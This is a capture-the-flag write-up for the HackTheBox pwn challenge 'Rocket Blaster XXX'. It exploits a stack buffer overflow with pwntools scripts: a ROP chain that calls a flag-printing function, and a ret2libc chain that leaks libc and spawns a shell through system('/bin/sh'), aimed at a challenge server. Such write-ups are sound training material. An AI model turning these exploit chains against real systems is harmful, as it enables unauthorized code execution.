Rocket Blaster XXX
Rocket Blaster XXX
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
Solution Approach
Core idea: ROP gadgets. Manipulate return address.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, not stripped.
BINARY PROTECTIONS
-
Upon reviewing the decompiled code on ghidra, we can see the main() function only accepts 1 input then terminate the process.
-
Reviewing other functions, we noticed a function named
fill_ammowhich opens the flag file then print it's content. -
Seems the objective here is to return to
fill_ammo. Noticed thefill_ammofunction accepts 3 params, those 3 also used for a checker. -
However since there is no canary and PIE is disabled, hence it's very easy for us to pwn the binary.
GET RIP OFFSET --> 40
- Great! Next, let's search for useful gadgets.
- Popping 3 values to param, means we need RDI (as the 1st arg), RSI (as the 2nd arg), and RDX (as the 3rd arg).
CHECK FOR GADGETS
- Nice! The gadgets are available.
- We can do simple ROP then, here's the crafted script.
SCRIPT
py read-only • copy allowedfrom pwn import * exe = './rocket_blaster_xxx' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'INFO' ### context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) sh = process(exe) rop = ROP(elf) p = flat([ cyclic(40), rop.find_gadget([ 'ret' ]).address, rop.find_gadget([ 'pop rdi', 'ret' ]).address, 0xdeadbeef, rop.find_gadget([ 'pop rsi', 'ret' ]).address, 0xdeadbabe, rop.find_gadget([ 'pop rdx', 'ret' ]).address, 0xdead1337, elf.sym['fill_ammo'] ]) sh.sendline(p) sh.interactive()
REMOTE TEST
- As you can see, we got the flag!.
ALTERNATE SCRIPT (much shorter using ropstar).
py read-only • copy allowedfrom pwn import * exe = './rocket_blaster_xxx' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'INFO' ### context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) ### sh = process(exe) sh = remote('94.237.54.176',59344) rop = ROP(elf) rop.call(rop.ret.address) rop.fill_ammo(0xdeadbeef,0xdeadbabe,0xdead1337) p = cyclic(40) + rop.chain() sh.sendline(p) sh.interactive()
GAINED RCE
- Remembering there is no canary, no PIE, and RDI is available. We can perform ret2libc here.
- Simply leak the printf@got address to calculate the libc base.
- Then execute another ROP to perform
system("/bin/sh"). - Here's the crafted script.
SCRIPT (RCE)
py read-only • copy allowedfrom pwn import * exe = './rocket_blaster_xxx' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'INFO' ### context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) ### sh = process(exe) sh = remote('94.237.54.176',59344) rop = ROP(elf) p = flat([ cyclic(40), rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['printf'], elf.plt['puts'], elf.sym['main'] ]) sh.sendline(p) sh.recvuntil(b'testing..') sh.recvline() leak = unpack(sh.recv(6) + b'\x00' * 2) success(f'LIBC LEAK --> {hex(leak)}') libc.address = leak - libc.sym['printf'] info(f'LIBC BASE --> {hex(libc.address)}') p = flat([ cyclic(40), rop.find_gadget(['ret']).address, rop.find_gadget(['pop rdi', 'ret']).address, next(libc.search(b'/bin/sh\x00')), libc.sym['system'] ]) sh.sendline(p) sh.interactive()
- Nice! We've pwned it!
Flag
REDACTED
Lessons Learned
- ROP gadgets.
- Manipulate return address.
- Popping 3 gadgets.